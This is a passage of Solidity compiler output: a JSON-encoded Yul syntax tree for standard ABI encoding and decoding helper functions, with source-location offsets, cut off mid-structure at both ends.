"src": "5145:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "5153:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "arrayPos", | |
"nodeType": "YulTypedName", | |
"src": "5161:8:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "5171:6:1", | |
"type": "" | |
} | |
], | |
"src": "5104:552:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "5747:442:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "5793:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", | |
"nodeType": "YulIdentifier", | |
"src": "5795:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5795:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "5795:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "5768:7:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "5777:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "5764:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5764:23:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "5789:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "5760:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5760:32:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "5757:119:1" | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "5886:296:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "5901:45:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "5932:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "5943:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "5928:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5928:17:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "5915:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5915:31:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "5905:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "5993:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", | |
"nodeType": "YulIdentifier", | |
"src": "5995:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5995:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "5995:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "5965:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "5973:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "5962:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5962:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "5959:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "6090:82:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "6144:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "6155:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "6140:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6140:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "6164:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_bytes_calldata_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "6108:31:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6108:64:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "6090:6:1" | |
}, | |
{ | |
"name": "value1", | |
"nodeType": "YulIdentifier", | |
"src": "6098:6:1" | |
} | |
] | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_tuple_t_bytes_calldata_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "5709:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulTypedName", | |
"src": "5720:7:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "5732:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value1", | |
"nodeType": "YulTypedName", | |
"src": "5740:6:1", | |
"type": "" | |
} | |
], | |
"src": "5662:527:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "6260:53:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "6277:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "6300:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "6282:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6282:24:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "6270:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6270:37:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "6270:37:1" | |
} | |
] | |
}, | |
"name": "abi_encode_t_uint256_to_t_uint256_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "6248:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "6255:3:1", | |
"type": "" | |
} | |
], | |
"src": "6195:118:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "6384:53:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "6401:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "6424:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "6406:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6406:24:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "6394:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6394:37:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "6394:37:1" | |
} | |
] | |
}, | |
"name": "abi_encode_t_address_to_t_address_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "6372:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "6379:3:1", | |
"type": "" | |
} | |
], | |
"src": "6319:118:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "6517:40:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "6528:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "6544:5:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "6538:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6538:12:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "6528:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_length_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "6500:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "6510:6:1", | |
"type": "" | |
} | |
], | |
"src": "6443:114:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "6674:73:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "6691:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "6696:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "6684:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6684:19:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "6684:19:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "6712:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "6731:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "6736:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "6727:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6727:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulIdentifier", | |
"src": "6712:11:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_storeLengthForEncoding_t_array$_t_uint256_$dyn_memory_ptr_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "6646:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "6651:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulTypedName", | |
"src": "6662:11:1", | |
"type": "" | |
} | |
], | |
"src": "6563:184:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "6825:60:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "6835:11:1", | |
"value": { | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "6843:3:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "6835:4:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "6856:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "6868:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "6873:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "6864:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6864:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "6856:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_dataslot_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulTypedName", | |
"src": "6812:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "data", | |
"nodeType": "YulTypedName", | |
"src": "6820:4:1", | |
"type": "" | |
} | |
], | |
"src": "6753:132:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "6946:53:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "6963:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "6986:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "6968:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6968:24:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "6956:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "6956:37:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "6956:37:1" | |
} | |
] | |
}, | |
"name": "abi_encode_t_uint256_to_t_uint256", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "6934:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "6941:3:1", | |
"type": "" | |
} | |
], | |
"src": "6891:108:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "7085:99:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "7129:6:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "7137:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_uint256_to_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "7095:33:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7095:46:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "7095:46:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "7150:28:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "7168:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "7173:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "7164:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7164:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "updatedPos", | |
"nodeType": "YulIdentifier", | |
"src": "7150:10:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encodeUpdatedPos_t_uint256_to_t_uint256", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "7058:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "7066:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "updatedPos", | |
"nodeType": "YulTypedName", | |
"src": "7074:10:1", | |
"type": "" | |
} | |
], | |
"src": "7005:179:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "7265:38:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "7275:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "7287:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "7292:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "7283:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7283:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "next", | |
"nodeType": "YulIdentifier", | |
"src": "7275:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_nextElement_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulTypedName", | |
"src": "7252:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "next", | |
"nodeType": "YulTypedName", | |
"src": "7260:4:1", | |
"type": "" | |
} | |
], | |
"src": "7190:113:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "7463:608:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "7473:68:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "7535:5:1" | |
} | |
], | |
"functionName": { | |
"name": "array_length_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "7487:47:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7487:54:1" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "7477:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "7550:93:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "7631:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "7636:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_storeLengthForEncoding_t_array$_t_uint256_$dyn_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "7557:73:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7557:86:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "7550:3:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "7652:71:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "7717:5:1" | |
} | |
], | |
"functionName": { | |
"name": "array_dataslot_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "7667:49:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7667:56:1" | |
}, | |
"variables": [ | |
{ | |
"name": "baseRef", | |
"nodeType": "YulTypedName", | |
"src": "7656:7:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "7732:21:1", | |
"value": { | |
"name": "baseRef", | |
"nodeType": "YulIdentifier", | |
"src": "7746:7:1" | |
}, | |
"variables": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulTypedName", | |
"src": "7736:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "7822:224:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "7836:34:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulIdentifier", | |
"src": "7863:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "7857:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7857:13:1" | |
}, | |
"variables": [ | |
{ | |
"name": "elementValue0", | |
"nodeType": "YulTypedName", | |
"src": "7840:13:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "7883:70:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "elementValue0", | |
"nodeType": "YulIdentifier", | |
"src": "7934:13:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "7949:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encodeUpdatedPos_t_uint256_to_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "7890:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7890:63:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "7883:3:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "7966:70:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulIdentifier", | |
"src": "8029:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_nextElement_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "7976:52:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7976:60:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulIdentifier", | |
"src": "7966:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "7784:1:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "7787:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "7781:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7781:13:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "7795:18:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "7797:14:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "7806:1:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "7809:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "7802:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "7802:9:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "7797:1:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "7766:14:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "7768:10:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "7777:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "i", | |
"nodeType": "YulTypedName", | |
"src": "7772:1:1", | |
"type": "" | |
} | |
] | |
} | |
] | |
}, | |
"src": "7762:284:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "8055:10:1", | |
"value": { | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8062:3:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "8055:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_t_array$_t_uint256_$dyn_memory_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "7442:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "7449:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "7458:3:1", | |
"type": "" | |
} | |
], | |
"src": "7339:732:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "8136:40:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "8147:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "8163:5:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "8157:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8157:12:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "8147:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_length_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "8119:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "8129:6:1", | |
"type": "" | |
} | |
], | |
"src": "8077:99:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "8268:73:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8285:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "8290:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "8278:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8278:19:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "8278:19:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "8306:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8325:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "8330:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "8321:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8321:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulIdentifier", | |
"src": "8306:11:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_storeLengthForEncoding_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "8240:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "8245:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulTypedName", | |
"src": "8256:11:1", | |
"type": "" | |
} | |
], | |
"src": "8182:159:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "8429:275:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "8439:53:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "8486:5:1" | |
} | |
], | |
"functionName": { | |
"name": "array_length_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "8453:32:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8453:39:1" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "8443:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "8501:68:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8557:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "8562:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_storeLengthForEncoding_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "8508:48:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8508:61:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8501:3:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "8617:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "8624:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "8613:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8613:16:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8631:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "8636:6:1" | |
} | |
], | |
"functionName": { | |
"name": "copy_memory_to_memory_with_cleanup", | |
"nodeType": "YulIdentifier", | |
"src": "8578:34:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8578:65:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
